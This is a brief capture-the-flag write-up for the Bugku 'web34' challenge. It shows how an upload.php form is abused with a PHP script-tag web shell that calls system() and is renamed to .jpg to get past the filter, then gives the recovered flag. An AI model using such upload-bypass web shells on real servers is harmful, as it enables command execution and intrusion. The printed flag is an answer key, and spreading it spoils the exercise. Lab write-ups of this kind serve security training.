Bugku CTF web34（Web）

0. Open the web page and view the source code

Pay attention to the content of the comment: upload.php

1. Open the upload.php file

File upload is another question about the type of Trojan horse

2. Construct a one-sentence Trojan and query the flag file

<script language=php>system("find / -name flag*");</script>

Create a text document first, then modify the extension to .jpg

3. Upload a one-sentence Trojan horse and open it

Discover the storage path information about the flag

4. Open the path where the flag is located

5. Get the flag: flag{9abf7616b9bddac530fc785ef7a5f3e3}